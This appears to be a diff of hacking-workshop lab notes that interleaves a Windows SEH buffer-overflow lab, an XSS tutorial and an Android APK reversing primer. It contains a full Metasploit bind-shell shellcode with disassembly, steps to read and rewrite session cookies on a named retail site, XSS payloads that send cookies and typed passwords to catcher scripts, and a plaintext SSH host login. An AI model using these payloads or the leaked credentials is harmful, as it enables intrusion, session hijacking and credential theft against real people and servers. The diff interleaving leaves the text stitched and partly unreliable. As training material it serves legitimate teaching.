-----------------------------------------------------------------------
2103
Step 1: Browse to the shopping cart page NewEgg.com
2104
-------------------Browse to this webpage in Firefox------------------------------
2105
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
2106
----------------------------------------------------------------------------------
2107-
[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
2107+
2108
 
2109-
                                    ^
2109+
2110-
1 ----------------------1 overflow the buffer---------------------------|
2110+
Step 2: View the current session ID
2111-
                                   
2111+
---Type this over the shopping car URL in the address bar (don't paste it )---------
2112-
                                    ^                    ^
2112+
javascript:void(document.write(document.cookie))
2113-
                                    |
2113+
------------------------------------------------------------------------------------
2114-
                                    2 ----jump over seh record---|
2114+
2115
You should see your session cookie and if you don't try again in a different browser
2116-
                                                     ^              ^  
2116+
2117-
                                                     |
2117+
2118-
                                                     3--POP 2 words off stack---|
2118+
2119
Step 3: Go back to the shopping cart page (click the back button)
2120-
                                                                    ^                  
2120+
2121-
4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
2121+
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
2122
---------------------------------------------------------------------------------
2123
 
2124
 
2125-
# Lab 2c: Not Enough Space (Trampoline) #
2125+
Step 4: Now let's modify the session ID
2126
---Type this over the shopping car URL in the address bar (don't paste it )---------
2127
javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
2128
------------------------------------------------------------------------------------
2129
 
2130-
cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
2130+
2131
 
2132
Step 5: Go back to the shopping cart page (click the back button)
2133
---------------------------------------------------------------------------------
2134-
On the Strategicsec-XP-ED-Target-VM VM
2134+
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
2135
---------------------------------------------------------------------------------
2136-
- open a command prompt
2136+
2137-
- c:\software\tftpd32
2137+
2138-
- run tftpd32.exe
2138+
2139-
- UDP port 69
2139+
Step 6: View the current session ID
2140-
(socket code is already in the scripts)
2140+
---Type this over the shopping car URL in the address bar (don't paste it )---------
2141
javascript:void(document.write(document.cookie))
2142
------------------------------------------------------------------------------------
2143
 
2144
-----------------------------------------------------------------------
2145-
On your attack host please install:
2145+
2146
#########################################################
2147
# What is XSS                                           #
2148-
  NASM - Netwide Assembler
2148+
# https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx #
2149
#########################################################
2150
 
2151
OK - what is Cross Site Scripting (XSS)
2152
 
2153
1. Use Firefox to browse to the following location:
2154-
-----------------------------------------------------------------------------------------------------------------
2154+
2155
 
2156
   https://phpapp.infosecaddicts.com/xss_practice/
2157-
We want to generate the shellcode (BIND SHELL on Port 4444)
2157+
2158-
- No restricted characters
2158+
2159-
- Encoder: NONE
2159+
   A really simple search page that is vulnerable should come up.
2160
 
2161-
Create a Python file called dumpshellcode.py
2161+
2162
 
2163-
---
2163+
2164-
#!/usr/bin/python2
2164+
2165
---------------------------Type This-----------------------------------
2166-
import os
2166+
2167-
import sys
2167+
   <script>alert('So this is XSS')</script>
2168-
import struct
2168+
2169
 
2170
 
2171-
# win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
2171+
   This should pop-up an alert window with your message in it proving XSS is in fact possible.
2172-
shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
2172+
   Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
2173-
shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
2173+
2174-
shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
2174+
2175-
shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
2175+
2176-
shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
2176+
2177-
shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
2177+
2178-
shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
2178+
   <script>alert(document.cookie)</script>
2179-
shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
2179+
2180-
shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
2180+
2181-
shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
2181+
2182-
shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
2182+
   This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
2183-
shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
2183+
   Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
2184-
shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
2184+
2185-
shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
2185+
2186-
shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
2186+
2187-
shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
2187+
2188-
shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
2188+
   <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script>
2189-
shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
2189+
2190-
shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
2190+
2191-
shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
2191+
2192
This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
2193-
sys.stdout.write(shellcode)
2193+
2194-
---
2194+
2195
5. Now view the stolen cookie at:
2196
---------------------------Type This-----------------------------------
2197
 
2198-
python dumpshell.py > bindshell.bin
2198+
   https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html
2199
-----------------------------------------------------------------------
2200-
copy bindshellcode.bin into the "c:\Program Files\nasm" directory
2200+
2201
 
2202
The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
2203
 
2204-
Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
2204+
2205-
317 bindshell.bin
2205+
2206
 
2207
 
2208
 
2209-
C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
2209+
2210
# A Better Way To Demo XSS #
2211
############################
2212-
00000000  FC                cld
2212+
2213-
00000001  6AEB              push byte -0x15
2213+
2214-
00000003  4D                dec ebp
2214+
2215-
00000004  E8F9FFFFFF        call dword 0x2
2215+
2216-
00000009  60                pushad
2216+
2217-
0000000A  8B6C2424          mov ebp,[esp+0x24]
2217+
2218-
0000000E  8B453C            mov eax,[ebp+0x3c]
2218+
2219-
00000011  8B7C0578          mov edi,[ebp+eax+0x78]
2219+
2220-
00000015  01EF              add edi,ebp
2220+
 https://phpapp.infosecaddicts.com/xss_practice/
2221-
00000017  8B4F18            mov ecx,[edi+0x18]
2221+
2222-
0000001A  8B5F20            mov ebx,[edi+0x20]
2222+
2223-
0000001D  01EB              add ebx,ebp
2223+
2224-
0000001F  49                dec ecx
2224+
2225-
00000020  8B348B            mov esi,[ebx+ecx*4]
2225+
2226-
00000023  01EE              add esi,ebp
2226+
2227-
00000025  31C0              xor eax,eax
2227+
2228-
00000027  99                cdq
2228+
2229-
00000028  AC                lodsb
2229+
2230-
00000029  84C0              test al,al
2230+
2231-
0000002B  7407              jz 0x34
2231+
2232-
0000002D  C1CA0D            ror edx,0xd
2232+
2233-
00000030  01C2              add edx,eax
2233+
document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">");
2234-
00000032  EBF4              jmp short 0x28
2234+
2235-
00000034  3B542428          cmp edx,[esp+0x28]
2235+
2236-
00000038  75E5              jnz 0x1f
2236+
2237-
0000003A  8B5F24            mov ebx,[edi+0x24]
2237+
2238-
0000003D  01EB              add ebx,ebp
2238+
2239-
0000003F  668B0C4B          mov cx,[ebx+ecx*2]
2239+
2240-
00000043  8B5F1C            mov ebx,[edi+0x1c]
2240+
2241-
00000046  01EB              add ebx,ebp
2241+
 https://phpapp.infosecaddicts.com/xss_practice/passwords.html
2242-
00000048  032C8B            add ebp,[ebx+ecx*4]
2242+
2243-
0000004B  896C241C          mov [esp+0x1c],ebp
2243+
2244-
0000004F  61                popad
2244+
2245-
00000050  C3                ret
2245+
2246-
00000051  31DB              xor ebx,ebx
2246+
2247-
00000053  648B4330          mov eax,[fs:ebx+0x30]
2247+
2248-
00000057  8B400C            mov eax,[eax+0xc]
2248+
# Mobile Malware Analysis #
2249-
0000005A  8B701C            mov esi,[eax+0x1c]
2249+
##########################
2250-
0000005D  AD                lodsd
2250+
sudo apt install -y androguard android-platform-tools-base apktool split-select google-android-build-tools-installer
2251-
0000005E  8B4008            mov eax,[eax+0x8]
2251+
2252-
00000061  5E                pop esi
2252+
Open IDLE, and let's just dive right in.
2253-
00000062  688E4E0EEC        push dword 0xec0e4e8e
2253+
2254-
00000067  50                push eax
2254+
2255-
00000068  FFD6              call esi
2255+
- I prefer to use Putty to SSH into my Linux host.
2256-
0000006A  6653              push bx
2256+
- You can download Putty from here:
2257-
0000006C  66683332          push word 0x3233
2257+
- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
2258-
00000070  687773325F        push dword 0x5f327377
2258+
2259-
00000075  54                push esp
2259+
Here is the information to put into putty
2260-
00000076  FFD0              call eax
2260+
2261-
00000078  68CBEDFC3B        push dword 0x3bfcedcb
2261+
Host Name:          107.191.39.106
2262-
0000007D  50                push eax
2262+
protocol:           ssh
2263-
0000007E  FFD6              call esi                     PART 1
2263+
port:               22
2264-
00000080  5F                pop edi
2264+
username:           sempra
2265-
00000081  89E5              mov ebp,esp
2265+
password:           semprapython3!
2266-
00000083  6681ED0802        sub bp,0x208
2266+
2267-
00000088  55                push ebp
2267+
2268-
00000089  6A02              push byte +0x2
2268+
2269-
0000008B  FFD0              call eax
2269+
2270-
0000008D  68D909F5AD        push dword 0xadf509d9
2270+
What is an APK?
2271-
00000092  57                push edi
2271+
An Android application is packaged as an APK ( Android Package ) file, which is essentially a ZIP file containing the compiled code, the resources, signature, manifest and every other file the software needs in order to run. Being it a ZIP file, we can start looking at its contents using the unzip command line utility ( or any other unarchiver you use ):
2272-
00000093  FFD6              call esi
2272+
2273-
00000095  53                push ebx
2273+
2274-
00000096  53                push ebx
2274+
cd android_malware
2275-
--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
2275+
unzip application.apk -d yourname
2276-
00000097  53                push ebx
2276+
2277-
00000098  53                push ebx
2277+
2278-
00000099  53                push ebx
2278+
Here’s what you will find inside an APK.
2279-
0000009A  43                inc ebx
2279+
2280-
0000009B  53                push ebx
2280+
2281-
0000009C  43                inc ebx
2281+
cd yourname
2282-
0000009D  53                push ebx                       PART 2
2282+
2283-
0000009E  FFD0              call eax
2283+
2284-
000000A0  6668115C          push word 0x5c11
2284+
2285-
000000A4  6653              push bx
2285+
- AndroidManifest.xml (file)
2286-
000000A6  89E1              mov ecx,esp
2286+
This is the binary representation of the XML manifest file describing what permissions the application will request (keep in mind that some of the permissions might be requested at runtime by the app and not declared here), what activities ( GUIs ) are in there, what services ( stuff running in the background with no UI ) and what receivers ( classes that can receive and handle system events such as the device boot or an incoming SMS ).
2287-
000000A8  95                xchg eax,ebp
2287+
2288-
000000A9  68A41A70C7        push dword 0xc7701aa4
2288+
Once decompiled (more on this later), it’ll look like this:
2289-
000000AE  57                push edi
2289+
2290-
000000AF  FFD6              call esi
2290+
<?xml version="1.0" encoding="utf-8" standalone="no"?>
2291-
000000B1  6A10              push byte +0x10
2291+
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.company.appname" 
2292-
000000B3  51                push ecx
2292+
                                                                     platformBuildVersionCode="24" 
2293-
000000B4  55                push ebp
2293+
                                                                     platformBuildVersionName="7.0">
2294-
000000B5  FFD0              call eax
2294+
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
2295-
000000B7  68A4AD2EE9        push dword 0xe92eada4
2295+
    <uses-permission android:name="android.permission.INTERNET"/>
2296-
000000BC  57                push edi
2296+
2297-
000000BD  FFD6              call esi
2297+
    <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" 
2298-
000000BF  53                push ebx
2298+
        android:label="@string/app_name" 
2299-
000000C0  55                push ebp
2299+
        android:supportsRtl="true" android:theme="@style/AppTheme">
2300-
000000C1  FFD0              call eax
2300+
        <activity android:name="com.company.appname.MainActivity">
2301-
000000C3  68E5498649        push dword 0x498649e5
2301+
            <intent-filter>
2302-
000000C8  57                push edi
2302+
                <action android:name="android.intent.action.MAIN"/>
2303-
000000C9  FFD6              call esi
2303+
                <category android:name="android.intent.category.LAUNCHER"/>
2304-
000000CB  50                push eax
2304+
            </intent-filter>
2305-
000000CC  54                push esp
2305+
        </activity>
2306-
000000CD  54                push esp
2306+
    </application>
2307-
000000CE  55                push ebp
2307+
    
2308-
000000CF  FFD0              call eax
2308+
</manifest>
2309-
000000D1  93                xchg eax,ebx
2309+
Keep in mind that this is the perfect starting point to isolate the application “entry points”, namely the classes you’ll reverse first in order to understand the logic of the whole software. In this case for instance, we would start inspecting the com.company.appname.MainActivity class being it declared as the main UI for the application.
2310-
000000D2  68E779C679        push dword 0x79c679e7
2310+
2311-
000000D7  57                push edi
2311+
2312-
000000D8  FFD6              call esi
2312+
2313-
000000DA  55                push ebp
2313+
cd assets
2314-
000000DB  FFD0              call eax
2314+
2315-
000000DD  666A64            push word 0x64
2315+
2316-
000000E0  6668636D          push word 0x6d63
2316+
- assets/* ( folder )
2317-
000000E4  89E5              mov ebp,esp
2317+
This folder will contain application specific files, like wav files the app might need to play, custom fonts and so on. Reversing-wise it’s usually not very important, unless of course you find inside the software functional references to such files.
2318-
000000E6  6A50              push byte +0x50
2318+
2319-
000000E8  59                pop ecx
2319+
2320-
000000E9  29CC              sub esp,ecx
2320+
2321-
000000EB  89E7              mov edi,esp
2321+
cd ../res
2322-
000000ED  6A44              push byte +0x44
2322+
2323-
000000EF  89E2              mov edx,esp
2323+
2324-
000000F1  31C0              xor eax,eax
2324+
2325-
000000F3  F3AA              rep stosb
2325+
2326-
000000F5  FE422D            inc byte [edx+0x2d]
2326+
- res/* ( folder )
2327-
000000F8  FE422C            inc byte [edx+0x2c]
2327+
All the resources, like the activities xml files, images and custom styles are stored here.
2328-
000000FB  93                xchg eax,ebx
2328+
2329-
000000FC  8D7A38            lea edi,[edx+0x38]
2329+
2330-
000000FF  AB                stosd
2330+
cd ../
2331-
00000100  AB                stosd
2331+
2332-
00000101  AB                stosd
2332+
2333-
00000102  6872FEB316        push dword 0x16b3fe72
2333+
2334-
00000107  FF7544            push dword [ebp+0x44]
2334+
2335-
0000010A  FFD6              call esi
2335+
- resources.arsc ( file )
2336-
0000010C  5B                pop ebx
2336+
This is the “index” of all the resources, long story short, at each resource file is assigned a numeric identifier that the app will use in order to identify that specific entry and the resources.arsc file maps these files to their identifiers … nothing very interesting about it.
2337-
0000010D  57                push edi
2337+
2338-
0000010E  52                push edx
2338+
- classes.dex ( file )
2339-
0000010F  51                push ecx
2339+
This file contains the Dalvik ( the virtual machine running Android applications ) bytecode of the app, let me explain it better. An Android application is (most of the times) developed using the Java programming language. The java source files are then compiled into this bytecode which the Dalvik VM eventually will execute … pretty much what happens to normal Java programs when they’re compiled to .class files.
2340-
00000110  51                push ecx
2340+
2341-
00000111  51                push ecx
2341+
Long story short, this file contains the logic, that’s what we’re interested into.
2342-
00000112  6A01              push byte +0x1
2342+
2343-
00000114  51                push ecx
2343+
Sometimes you’ll also find a classes2.dex file, this is due to the DEX format which has a limit to the number of classes you can declare inside a single dex file, at some point in history Android apps became bigger and bigger and so Google had to adapt this format, supporting a secondary .dex file where other classes can be declared.
2344-
00000115  51                push ecx
2344+
2345-
00000116  55                push ebp
2345+
From our perspective it doesn’t matter, the tools we’re going to use are able to detect it and append it to the decompilation pipeline.
2346-
00000117  51                push ecx
2346+
2347-
00000118  FFD0              call eax
2347+
- libs/ ( folder )
2348-
0000011A  68ADD905CE        push dword 0xce05d9ad
2348+
Sometimes an app needs to execute native code, it can be an image processing library, a game engine or whatever. In such case, those .so ELF libraries will be found inside the libs folder, divided into architecture specific subfolders ( so the app will run on ARM, ARM64, x86, etc ).
2349-
0000011F  53                push ebx
2349+
2350-
00000120  FFD6              call esi
2350+
2351-
00000122  6AFF              push byte -0x1
2351+
2352-
00000124  FF37              push dword [edi]
2352+
cd META-INF/
2353-
00000126  FFD0              call eax
2353+
2354-
00000128  8B57FC            mov edx,[edi-0x4]
2354+
2355-
0000012B  83C464            add esp,byte +0x64
2355+
2356-
0000012E  FFD6              call esi
2356+
2357-
00000130  52                push edx
2357+
2358-
00000131  FFD0              call eax
2358+
- META-INF/ ( folder )
2359-
00000133  68F08A045F        push dword 0x5f048af0
2359+
Every Android application needs to be signed with a developer certificate in order to run on a device, even debug builds are signed by a debug certificate, the META-INF folder contains information about the files inside the APK and about the developer.
2360-
00000138  53                push ebx
2360+
2361-
00000139  FFD6              call esi
2361+
Inside this folder, you’ll usually find:
2362-
0000013B  FFD0              call eax
2362+
2363
A MANIFEST.MF file with the SHA-1 or SHA-256 hashes of all the files inside the APK.
2364-
-------------------------------------------------------------------------------------------
2364+
A CERT.SF file, pretty much like the MANIFEST.MF, but signed with the RSA key.
2365-
Another option would be to go to a website like:
2365+
A CERT.RSA file which contains the developer public key used to sign the CERT.SF file and digests.
2366-
http://shell-storm.org/online/Online-Assembler-and-Disassembler/
2366+
Those files are very important in order to guarantee the APK integrity and the ownership of the code. Sometimes inspecting such signature can be very handy to determine who really developed a given APK. If you want to get information about the developer, you can use the openssl command line utility:
2367
2368-
Choose the bottom box and paste the code below into it. Select x86 (32), and make sure that little endian is checked. Then click "Disassemble"
2368+
2369
openssl pkcs7 -in CERT.RSA -inform DER -print
2370-
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
2370+
2371-
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
2371+
This will print an output like:
2372-
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
2372+
2373-
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
2373+
PKCS7: 
2374-
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
2374+
  type: pkcs7-signedData (1.2.840.113549.1.7.2)
2375-
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
2375+
  d.sign: 
2376-
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
2376+
    version: 1
2377-
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
2377+
    md_algs:
2378-
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
2378+
        algorithm: sha1 (1.3.14.3.2.26)
2379-
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
2379+
        parameter: NULL
2380-
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
2380+
    contents: 
2381-
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
2381+
      type: pkcs7-data (1.2.840.113549.1.7.1)
2382-
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
2382+
      d.data: <ABSENT>
2383-
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
2383+
    cert:
2384-
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
2384+
        cert_info: 
2385-
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
2385+
          version: 2
2386-
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
2386+
          serialNumber: 10394279457707717180
2387-
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
2387+
          signature: 
2388-
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
2388+
            algorithm: sha1WithRSAEncryption (1.2.840.113549.1.1.5)
2389-
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
2389+
            parameter: NULL
2390
          issuer: C=TW, ST=Taiwan, L=Taipei, O=ASUS, OU=PMD, CN=ASUS AMAX Key/emailAddress=admin@asus.com
2391
          validity: 
2392
            notBefore: Jul  8 11:39:39 2013 GMT
2393
            notAfter: Nov 23 11:39:39 2040 GMT
2394-
part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
2394+
          subject: C=TW, ST=Taiwan, L=Taipei, O=ASUS, OU=PMD, CN=ASUS AMAX Key/emailAddress=admin@asus.com
2395-
part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
2395+
          key: 
2396-
part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
2396+
            algor: 
2397-
part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
2397+
              algorithm: rsaEncryption (1.2.840.113549.1.1.1)
2398-
part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
2398+
              parameter: NULL
2399-
part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
2399+
            public_key:  (0 unused bits)
2400-
part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
2400+
              ...
2401-
part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
2401+
              ...
2402-
part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
2402+
              ...
2403-
part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
2403+
This can be gold for us, for instance we could use this information to determine if an app was really signed by (let’s say) Google or if it was resigned, therefore modified, by a third party.
2404
2405
---------------------------Type This-----------------------------------
2406-
part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
2406+
sh /home/sempra/dex2jar-2.0/d2j-dex2jar.sh classes.dex
2407-
part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
2407+
------------------------------------------------------
2408-
part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
2408+
2409-
part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
2409+
2410-
part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
2410+
Download via SCP the classes.dex.jar file to your local machine. Then install JD-GUI